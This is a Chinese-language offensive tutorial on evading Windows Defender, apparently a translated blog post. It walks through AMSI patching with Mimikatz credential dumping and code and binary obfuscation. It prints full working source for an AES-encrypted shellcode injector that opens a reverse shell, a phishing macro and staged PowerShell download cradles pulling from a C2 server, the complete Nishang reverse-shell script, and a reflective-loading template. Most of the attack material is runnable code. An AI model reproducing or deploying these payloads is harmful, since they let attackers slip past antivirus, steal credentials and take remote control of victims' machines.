介绍
在本文中,我将解释 10 种方法/技术,以绕过具有最新 Windows Defender 信息的完全更新的 Windows 系统,以执行不受限制的代码(即权限/ACL 除外)。
用于测试的设置如下:
-
使用 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。
-
使用 Windows Server 2019 AMI 的 AWS EC2 作为受害机器。
-
本地 Windows 10 机器配备 Visual Studio 2022 Community,用于恶意软件开发/编译。
-
本地 Kali Linux 攻击者机器。
请注意,我不会深入讨论许多概念,大部分内容我都会假设你具备基础知识。此外,我也没有选择过于复杂的技术,例如直接系统调用或硬件断点,因为这对 AV 来说有点过头了,而且它们最好在针对 EDR 的文章中解释。
免责声明:本文提供的信息仅用于教育和道德目的。所描述的技术和工具旨在以合法和负责任的方式使用,并得到目标系统所有者的明确同意。严禁未经授权或恶意使用这些技术和工具,否则可能导致法律后果。对于因滥用所提供信息而可能产生的任何损害或法律问题,我不承担任何责任。
1. 内存中 AMSI/ETW 修补
我要讲解的第一种方法也是我个人最常用的方法,因为执行起来非常方便、快捷。
AMSI,即反恶意软件扫描接口,是一种与供应商无关的 Windows 安全控制,可扫描 PowerShell、wscript、cscript、Office 宏等,并将遥测数据发送给安全提供商(在我们的例子中是 Defender),以决定它是否是恶意软件。
ETW,即 Windows 事件跟踪,是另一种安全机制,用于记录用户模式和内核驱动程序上发生的事件。然后,供应商可以分析来自进程的这些信息,以确定其是否具有恶意意图。
不幸的是,Windows Defender 很少能处理来自 PowerShell 会话的遥测数据。具体来说,修补当前进程的 AMSI 将允许我们执行我们决定的任何无文件恶意软件,包括工具(Mimikatz、Rubeus 等)和反向 shell。
对于这个概念验证,我将使用 evil-winrm Bypass-4MSI 内置函数,但是,在 PowerShell 脚本或可执行文件中制作我们自己的 AMSI/ETW 修补程序非常容易,我们稍后会看到。
因此,使用 Mimikatz 从 LSASS 进程转储内存中登录的杀伤链按照以下方法工作:
内存中 AMSI 修补 PoC
为了更好地理解,可以用以下方式从更高层次解释该命令集:
-
尝试编写众所周知的“Invoke-Mimikatz”触发器,以测试 Defender 是否处于活动状态。
-
在当前 PowerShell 会话中执行 evil-winrm Bypass-4MSI 函数来修补 AMSI。
-
再次调用 AV 触发器,查看 AMSI 遥测是否有效(正如我们所见,它不再有效)。
-
使用 Invoke-Expression 在内存中加载真正的 Invoke-Mimikatz PowerShell 模块。
-
执行 Mimikatz 从 LSASS 转储登录密码。
请注意,Mimikatz 的执行仅仅是为了演示目的,但您可以从没有 AMSI 遥测的 PowerShell 终端执行几乎所有操作。
2. 代码混淆
对于 C/C++ 等原生编译语言,代码混淆通常不需要或不值得花时间,因为编译器无论如何都会应用大量优化。但很大一部分恶意软件和工具是用 C# 编写的,有时也用 Java 编写。这些语言被编译为字节码/MSIL/CIL,很容易被逆向工程。这意味着您需要应用一些代码混淆来避免签名检测。
有许多开源混淆器可用,但我将基于h4wkst3r 的 InvisibilityCloak C# 混淆器工具来进行本节的概念验证。
例如,使用 GhostPack 的 Certify 工具(通常用于查找域中的易受攻击的证书),我们可以利用上述工具来绕过防御者,如下所示。
验证 Defender 是否正在运行并阻止默认 Certify 构建
使用 InvisibilityCloak 混淆认证代码
尝试运行混淆的 Certify
我们可以看到它现在可以正常工作,但是由于虚拟机未加入域或不是域控制器,因此它会引发错误。
然后我们可以得出结论,它有效,但是请注意,有些工具可能需要比其他工具更深入和更深层次的混淆。例如,在这个例子中,我选择了 Certify 而不是 Rubeus,因为它更易于进行简单的演示。
3. 编译时混淆
对于 C、C++、Rust 等本机编译语言,您可以利用编译时混淆来隐藏子程序和一般指令流的真实行为。
根据语言的不同,可能存在不同的方法。由于我开发恶意软件的首选是 C++,所以我将解释我尝试过的两种方法:LLVM 混淆和模板元编程。
对于 LLVM 混淆,目前最大的公开工具是Obfuscator-LLVM。该项目是 LLVM 的一个分支,通过对生成的二进制文件进行混淆来增加一层安全性。目前实现的附加功能如下:
-
指令替换。混淆汇编指令,以更大的计算复杂度产生等效行为。
-
伪造控制流。添加垃圾指令块来隐藏原始指令代码流。
-
控制流平坦化。使分支和跳转更难预测,以隐藏预期的指令流。
总之,该工具生成的二进制文件通常很难被人类/AV/EDR 进行静态分析。
另一方面,模板元编程是一种 C++ 技术,允许开发人员创建在编译时生成源代码的模板。这使得每次编译时都可以生成不同的二进制文件,创建无限数量的分支和代码块等。
我所知道的并且用于此目的的两个公共框架如下:
-
andrivet 的 ADVobfuscator
-
obfy(fritzone)
对于这个 PoC,我将使用第二个,因为我发现它通常更容易使用。
此外,对于 PoC,我将使用TheD1rkMtr 的 AMSI_patch作为要混淆的默认二进制文件,因为它是一个非常简单的 C++ 项目。混淆二进制文件的代码可以在此处找到。
首先我们来看一下Ghidra下的基础二叉函数树。
默认二叉函数树
我们可以看到,分析起来并不困难。你可以在第三个 FUN_ 例程下找到 main 函数。
默认二进制主函数
这看起来很容易分析和理解其行为(在本例中通过 AMSIOpenSession 修补 AMSI)。
现在我们看一下混淆的二叉函数树。
混淆的二叉函数树
这看起来非常难以静态分析,因为有很多嵌套函数。而且,正如我们所见,这些都是基于模板引入的函数。
混淆的二进制垃圾函数
这些都是简单的垃圾函数,但对于隐藏真实行为非常有用。
现在进行最后的测试,让我们在真实的 Windows 系统上尝试 PoC。请注意,由于二进制文件通过 PID 作为参数修补给定进程的 AMSI,因此 PoC 将与第一种方法非常相似;修补当前 PowerShell 会话的 AMSI 以逃避 Defender 的内存扫描。
编译时混淆 PoC
而且,正如我们所看到的,它起作用了,并且 Defender 没有静态地或运行时停止二进制文件,从而允许我们远程修补 AMSI 进程。
4. 二进制混淆/打包
一旦生成了二进制文件,您的选择主要如下:
-
混淆二进制文件的汇编指令。
-
打包二进制文件。
-
加密二进制内容以便在运行时解密。
-
或者,将其转换为 shellcode 以便稍后进行操作和注入。
从第一个开始,我们有几种可用的开源选项,例如:
-
Alcatraz
-
Metame
-
ropfuscator(遗憾的是目前仅适用于 Linux)
从高层次上讲,Alcatraz 通过多种方式修改二进制文件的汇编来工作,例如混淆控制流、添加垃圾指令、取消优化指令以及在运行之前隐藏真正的入口点。
另一方面,Metame 的工作原理是利用随机性在每次运行时生成不同的汇编代码(尽管行为始终相同)。这被称为变形代码,通常被真正的恶意软件所使用。
最后,正如其名称所示,ROPfuscator 的工作原理是利用面向返回编程从原始代码构建 ROP 小工具和链,从而隐藏原始代码流,使其无法进行静态分析,甚至无法进行动态分析,因为启发式方法很难分析连续的恶意调用。下图更好地描述了整个过程。
ROPfuscator 架构
来源: https: //github.com/ropfuscator/ropfuscator/blob/master/docs/architecture.svg
继续进行二进制打包,打包器的基本架构可以用下图来描述。
PE 打包程序体系结构PE Packer architecture
来源:https ://www.researchgate.net/publication/224258044_Detection_of_packed_executables_using_support_vector_machines
在此过程中,给定的打包工具将本机编译的 PE 嵌入到另一个可执行文件中,其中包含解压原始内容并执行它所需的信息。也许最著名的打包程序(甚至不是用于恶意目的)是 Golang 的 UPX 包。
此外,PE 加密器的工作方式是加密可执行文件的内容并生成一个可执行文件,该可执行文件将在运行时解密原始 PE。这对于 AV 非常有用,因为它们大多数依赖于静态分析而不是运行时行为(如 EDR)。因此,完全隐藏可执行文件的内容直到运行时可能非常有效,除非 AV 已针对加密/解密方法生成签名,这是我尝试使用nimpcrypt 的情况。
最后,我们还可以选择将本机 PE 转换回 shellcode。例如,可以通过hasherezade 的 pe_to_shellcode 工具来完成。
现在已经解释了从可执行文件开始逃避 AV 的所有可能方法,我想提一下将所有步骤合并到一个工具中的框架:KlezVirus 的 inceptor。该工具可能非常复杂,大多数步骤对于简单的 Defender 逃避来说都不是必需的,但用下图可以更好地解释它:
Inceptor 架构
来源:https ://github.com/klezVirus/inceptor
与以前的工具相比,Inceptor 允许开发人员创建自定义模板,这些模板会在工作流的每个步骤中修改二进制文件,这样,即使为公共模板生成了签名,您也可以拥有自己的私有模板来绕过 EDR 挂钩、修补 AMSI/ETW、使用硬件断点、使用直接系统调用而不是内存中的 DLL 等。
5.加密Shellcode注入
Shellcode 注入是一种非常著名的技术,包括在给定的牺牲进程中插入/注入位置无关的 Shellcode,最终在内存中执行它。这可以通过多种方式实现。请参阅下图,了解一些众所周知的方法。
进程注入方法
来源:https ://struppigel.blogspot.com/2017/07/process-injection-info-graphic.html
但是,在本文中我将讨论并演示以下方法:
-
使用Process.GetProcessByName定位资源管理器进程并获取其 PID。
-
通过OpenProcess以 0x001F0FFF 访问权限打开该进程。
-
通过VirtualAllocEx在 explorer 进程中为我们的 shellcode 分配内存。
-
通过WriteProcessMemory将shellcode写入进程中。
-
最后,创建一个线程,通过 CreateRemoteThread 执行与位置无关的 Shellcode 。
当然,拥有包含恶意 shellcode 的可执行文件是一个非常糟糕的主意,因为它会立即被 Defender 标记。为了解决这个问题,我们将首先使用 AES-128 CBC 和 PKCS7 填充加密 shellcode,以隐藏其真实行为和组成,直到运行时(Defender 真的很弱)。
首先,我们需要生成初始 shellcode。为了进行概念验证,我将使用来自 msfvenom 的简单 TCP 反向 shell。
生成初始 PI shellcode
Encrypter.cs
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace AesEnc
{
class Program
{
static void Main(string[] args)
{
byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] aesshell = EncryptShell(buf, Key, IV);
StringBuilder hex = new StringBuilder(aesshell.Length * 2);
int totalCount = aesshell.Length;
foreach (byte b in aesshell)
{
if ((b + 1) == totalCount)
{
hex.AppendFormat("0x{0:x2}", b);
}
else
{
hex.AppendFormat("0x{0:x2}, ", b);
}
}
Console.WriteLine(hex);
}
private static byte[] GetIV(int num)
{
var randomBytes = new byte[num];
using (var rngCsp = new RNGCryptoServiceProvider())
{
rngCsp.GetBytes(randomBytes);
}
return randomBytes;
}
private static byte[] GetKey(int size)
{
char[] caRandomChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()".ToCharArray();
byte[] CKey = new byte[size];
using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
{
crypto.GetBytes(CKey);
}
return CKey;
}
private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
{
return AESEncryptedShellCode(CShellcode, encryptor);
}
}
}
private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
{
using (var msEncShellCode = new MemoryStream())
using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(CShellcode, 0, CShellcode.Length);
cryptoStream.FlushFinalBlock();
return msEncShellCode.ToArray();
}
}
}
}
使用“buf”变量中的初始 shellcode 编译并运行上述代码将会吐出我们将在注入器程序中使用的现在已加密的字节。
对于这个 PoC,我还选择 C# 作为注入器的语言,但也可以随意使用任何其他支持 Win32 API 的语言(C/C++、Rust 等)。
最后,注入器将使用的代码如下:
Injector.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
namespace AESInject
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
processId);
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
static void Main(string[] args)
{
byte[] Key = new byte[]{ 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F };
byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
byte[] buf = new byte[] { 0x2b, 0xc3, 0xb0, etc}; //your encrypted bytes here
byte[] DShell = AESDecrypt(buf, Key, IV);
StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
foreach (byte b in DShell)
{
hexCodes.AppendFormat("0x{0:x2},", b);
}
int size = DShell.Length;
Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
int pid = expProc[0].Id;
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
IntPtr outSize;
WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
}
private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return GetDecrypt(CEncryptedShell, decryptor);
}
}
}
private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
}
在本文中,我编译了带有依赖项的程序,以便于传输到 EC2,但您可以随意将其编译为一个独立的二进制文件,大约 50-60 MB。
最后,我们可以在攻击者/C2机器上使用 netcat 设置一个监听器,并在受害者机器中执行注入器:
执行注入器
获取反向shell
6. Donut shellcode 加载
TheWover 的 Donut 项目是一款非常有效的位置无关的 PE/DLL shellcode 生成器。根据给定的输入文件,它的工作方式不同。对于这个 PoC,我将使用 Mimikatz,所以让我们从高层次上看看它的工作原理。从代码的简单看,这将是 Donut.exe 可执行工具的主要例程:
donut.c 中可能的主要 Donut 例程/函数
// 1. validate the loader configuration
err = validate_loader_cfg(c);
if(err == DONUT_ERROR_OK) {
// 2. get information about the file to execute in memory
err = read_file_info(c);
if(err == DONUT_ERROR_OK) {
// 3. validate the module configuration
err = validate_file_cfg(c);
if(err == DONUT_ERROR_OK) {
// 4. build the module
err = build_module(c);
if(err == DONUT_ERROR_OK) {
// 5. build the instance
err = build_instance(c);
if(err == DONUT_ERROR_OK) {
// 6. build the loader
err = build_loader(c);
if(err == DONUT_ERROR_OK) {
// 7. save loader and any additional files to disk
err = save_loader(c);
}
}
}
}
}
}
// if there was some error, release resources
if(err != DONUT_ERROR_OK) {
DonutDelete(c);
}
在所有这些中,也许最有趣的是build_loader,它包含以下代码:
build_loader 函数
uint8_t *pl;
uint32_t t;
// target is x86?
if(c->arch == DONUT_ARCH_X86) {
c->pic_len = sizeof(LOADER_EXE_X86) + c->inst_len + 32;
} else
// target is amd64?
if(c->arch == DONUT_ARCH_X64) {
c->pic_len = sizeof(LOADER_EXE_X64) + c->inst_len + 32;
} else
// target can be both x86 and amd64?
if(c->arch == DONUT_ARCH_X84) {
c->pic_len = sizeof(LOADER_EXE_X86) +
sizeof(LOADER_EXE_X64) + c->inst_len + 32;
}
// allocate memory for shellcode
c->pic = malloc(c->pic_len);
if(c->pic == NULL) {
DPRINT("Unable to allocate %" PRId32 " bytes of memory for loader.", c->pic_len);
return DONUT_ERROR_NO_MEMORY;
}
DPRINT("Inserting opcodes");
// insert shellcode
pl = (uint8_t*)c->pic;
// call $ + c->inst_len
PUT_BYTE(pl, 0xE8);
PUT_WORD(pl, c->inst_len);
PUT_BYTES(pl, c->inst, c->inst_len);
// pop ecx
PUT_BYTE(pl, 0x59);
// x86?
if(c->arch == DONUT_ARCH_X86) {
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);
DPRINT("Copying %" PRIi32 " bytes of x86 shellcode",
(uint32_t)sizeof(LOADER_EXE_X86));
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
} else
// AMD64?
if(c->arch == DONUT_ARCH_X64) {
DPRINT("Copying %" PRIi32 " bytes of amd64 shellcode",
(uint32_t)sizeof(LOADER_EXE_X64));
// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);
PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
} else
// x86 + AMD64?
if(c->arch == DONUT_ARCH_X84) {
DPRINT("Copying %" PRIi32 " bytes of x86 + amd64 shellcode",
(uint32_t)(sizeof(LOADER_EXE_X86) + sizeof(LOADER_EXE_X64)));
// xor eax, eax
PUT_BYTE(pl, 0x31);
PUT_BYTE(pl, 0xC0);
// dec eax
PUT_BYTE(pl, 0x48);
// js dword x86_code
PUT_BYTE(pl, 0x0F);
PUT_BYTE(pl, 0x88);
PUT_WORD(pl, sizeof(LOADER_EXE_X64) + 5);
// ensure stack is 16-byte aligned for x64 for Microsoft x64 calling convention
// and rsp, -0x10
PUT_BYTE(pl, 0x48);
PUT_BYTE(pl, 0x83);
PUT_BYTE(pl, 0xE4);
PUT_BYTE(pl, 0xF0);
// push rcx
// this is just for alignment, any 8 bytes would do
PUT_BYTE(pl, 0x51);
PUT_BYTES(pl, LOADER_EXE_X64, sizeof(LOADER_EXE_X64));
// pop edx
PUT_BYTE(pl, 0x5A);
// push ecx
PUT_BYTE(pl, 0x51);
// push edx
PUT_BYTE(pl, 0x52);
PUT_BYTES(pl, LOADER_EXE_X86, sizeof(LOADER_EXE_X86));
}
return DONUT_ERROR_OK;
同样,从简要分析来看,此子例程根据原始可执行文件创建/准备位置无关的 shellcode 以供稍后注入,插入汇编指令以根据每个体系结构对齐堆栈,并使代码流跳转到可执行文件的原始 shellcode。请注意,这可能不是最新的代码,因为该文件的最后一次提交是在 2022 年 12 月,最新发布是在 2023 年 3 月。但很好地说明了它的工作原理。
最后,进入本节的概念验证,我将通过将 shellcode 注入本地 powershell 进程来执行直接从 gentilkiwi 存储库获取的默认 Mimikatz。为此,我们需要首先生成 PI 代码。
执行注入器
一旦生成了 shellcode,我们现在就可以使用任何我们想要的注入器来实现此目的。幸运的是,最新版本已经附带了一个本地(用于执行它的进程)以及一个远程(用于另一个进程)注入器,微软尚未为其生成签名,所以我将使用它。
执行注入器
7. 定制工具
Mimikatz、Rubeus、Certify、PowerView、BloodHound 等工具之所以受欢迎,是因为它们在一个包中实现了很多功能。这对于恶意行为者来说非常有用,因为他们只需使用几个工具就可以自动传播恶意软件。然而,这也意味着供应商很容易通过注册其签名字节(例如菜单字符串、C# 中的类/命名空间名称等)来关闭整个工具。
为了解决这个问题,也许我们不需要整个 2-5MB 的注册签名工具来执行我们需要的一两个功能。例如,要转储登录密码/哈希,我们可以利用整个 Mimikatz 项目的 sekurlsa::logonpasswords 函数,但我们也可以以完全不同的方式编写我们自己的 LSASS 转储器和解析器,但行为和 API 调用类似。
对于第一个例子,我将使用Cracked5pider 的 LsaParser。
LsaParser 执行
不幸的是,它不是为 Windows Server 开发的,所以我不得不在本地 Windows 10 上使用它,但你明白了。
对于第二个示例,假设我们的目标是枚举整个 Active Directory 域中的共享。我们可以使用 PowerView 的 Find-DomainShare 来实现这一点,但是,它是最著名的开源工具之一,因此,为了更加隐秘,我们可以基于本机 Windows API 开发自己的共享查找器工具,如下所示。
RemoteShareEnum.cpp
#include <windows.h>
#include <stdio.h>
#include <lm.h>
#pragma comment(lib, "Netapi32.lib")
int wmain(DWORD argc, WCHAR* lpszArgv[])
{
PSHARE_INFO_502 BufPtr, p;
PSHARE_INFO_1 BufPtr2, p2;
NET_API_STATUS res;
LPTSTR lpszServer = NULL;
DWORD er = 0, tr = 0, resume = 0, i,denied=0;
switch (argc)
{
case 1:
wprintf(L"Usage : RemoteShareEnum.exe <servername1> <servername2> <servernameX>n");
return 1;
default:
break;
}
wprintf(L"n SharetPathtDescriptiontCurrent UserstHostnn");
wprintf(L"-------------------------------------------------------------------------------------nn");
for (DWORD iter = 1; iter <= argc-1; iter++) {
lpszServer = lpszArgv[iter];
do
{
res = NetShareEnum(lpszServer, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p = BufPtr;
for (i = 1; i <= er; i++)
{
wprintf(L" % st % st % st % ut % stn", p->shi502_netname, p->shi502_path, p->shi502_remark, p->shi502_current_uses, lpszServer);
p++;
}
NetApiBufferFree(BufPtr);
}
else if (res == ERROR_ACCESS_DENIED) {
denied = 1;
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ldn",lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
if (denied == 1) {
do
{
res = NetShareEnum(lpszServer, 1, (LPBYTE*)&BufPtr2, -1, &er, &tr, &resume);
if (res == ERROR_SUCCESS || res == ERROR_MORE_DATA)
{
p2 = BufPtr2;
for (i = 1; i <= er; i++)
{
wprintf(L" % st % st % stn", p2->shi1_netname, p2->shi1_remark, lpszServer);
p2++;
}
NetApiBufferFree(BufPtr2);
}
else
{
wprintf(L"NetShareEnum() failed for server '%s'. Error code: % ldn", lpszServer, res);
}
}
while (res == ERROR_MORE_DATA);
denied = 0;
}
wprintf(L"-------------------------------------------------------------------------------------nn");
}
return 0;
}
从高层次上讲,该工具利用 Win32 API 中的 NetShareEnum 函数远程检索从任何输入端点提供的共享。默认情况下,它会尝试特权 SHARE_INFO_502 访问级别,该级别会显示一些额外信息,如磁盘路径、连接数等。如果失败,它会回退到访问级别 SHARE_INFO_1,该级别仅显示资源的名称,但任何非特权用户都可以枚举(除非特定 ACL 阻止它)。
请随意使用此处提供的工具。
现在,我们可以像下面这样使用它:
RemoteShareEnum 执行
当然,自定义工具可能是一项非常耗时的任务,并且需要非常深入的 Windows 内部知识,但它有可能击败本文介绍的所有其他方法。因此,如果其他所有方法都失败,则应考虑使用它。话虽如此,我仍然认为它对于 Defender/AV 来说是过度的,它更适合 EDR 规避,因为您可以控制和包含自己选择的 API 调用、断点、顺序、垃圾数据/指令、混淆等。
8. 有效载荷暂存
将有效载荷分解为渐进阶段绝不是一种新技术,威胁行为者通常使用它来传播逃避初始静态分析的恶意软件。这是因为真正的恶意有效载荷将在稍后阶段被检索和执行,而静态分析可能没有机会发挥作用。
对于这个 PoC,我将展示一种非常简单但有效的方法来设置反向 shell 负载,例如,可以使用以下宏创建恶意 Office 文件:
执行第一阶段的宏
Sub AutoOpen()
Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("powershell -c IEX(New-Object Net.WebClient).downloadString('http://IP:PORT/stage1.ps1')")
End Sub
当然,这不会被 AV 静态检测到,因为它只是执行一个看似无害的命令。
由于我没有安装 Office,我将通过在 PowerShell 脚本中手动执行上述命令来模拟网络钓鱼过程。
最后,本节的概念证明如下:
stage0.txt(这将是网络钓鱼宏中执行的命令)
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage1.txt")
stage1.txt
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/ref.txt")
IEX(New-Object Net.WebClient).downloadString("http://172.31.17.142:8080/stage2.txt")
stage2.txt
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#>
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
Invoke-PowerShellTcp -Reverse -IPAddress 172.31.17.142 -Port 80
这里需要注意几点。首先,ref.txt 是一个简单的 PowerShell AMSI 绕过方法,它允许我们修补当前 PowerShell 进程的内存 AMSI 扫描。此外,在这种情况下,PowerShell 脚本的扩展名是什么并不重要,因为它们的内容将简单地下载为文本并使用 Invoke-Expression(IEX 的别名)调用。
然后我们可以按如下方式执行完整的 PoC:
在受害者机器上执行第 0 阶段
受害者从我们的 C2 下载阶段
在攻击服务器中获取反向 shell
9.反射加载
您可能还记得,在第一部分中,我们在修补内存中的 AMSI 后执行了 Mimikatz,以证明 Defender 停止扫描我们进程的内存。这是因为 .NET 公开了 System.Reflection.Assembly API,我们可以使用该 API 在内存中反射性地加载和执行 .NET 程序集(定义为“表示程序集,它是通用语言运行时应用程序的可重用、可版本控制和自描述的构建块。”)。
这对于攻击目的当然非常有用,因为 PowerShell 使用.NET,我们可以在脚本中使用它在内存中加载整个二进制文件,以绕过 Windows Defender 擅长的静态分析。
脚本的一般结构如下:
反射加载模板
function Invoke-YourTool
{
$a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
$decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
$output = New-Object System.IO.MemoryStream
$decompressed.CopyTo( $output )
[byte[]] $byteOutArray = $output.ToArray()
$RAS = [System.Reflection.Assembly]::Load($byteOutArray)
$OldConsoleOut = [Console]::Out
$StringWriter = New-Object IO.StringWriter
[Console]::SetOut($StringWriter)
[ClassName.Program]::main([string[]]$args)
[Console]::SetOut($OldConsoleOut)
$Results = $StringWriter.ToString()
$Results
}
Gzip 只是用来尝试隐藏真正的二进制文件,所以有时它可能不需要进一步的绕过方法就可以工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数来将二进制文件加载到内存中。之后,我们可以简单地使用“[ClassName.Program]::main([string[]]$args)”调用其主函数
因此,我们可以执行以下终止链来执行我们想要的任何二进制文件:
-
AMSI/ETW 补丁。
-
反射加载并执行程序集。
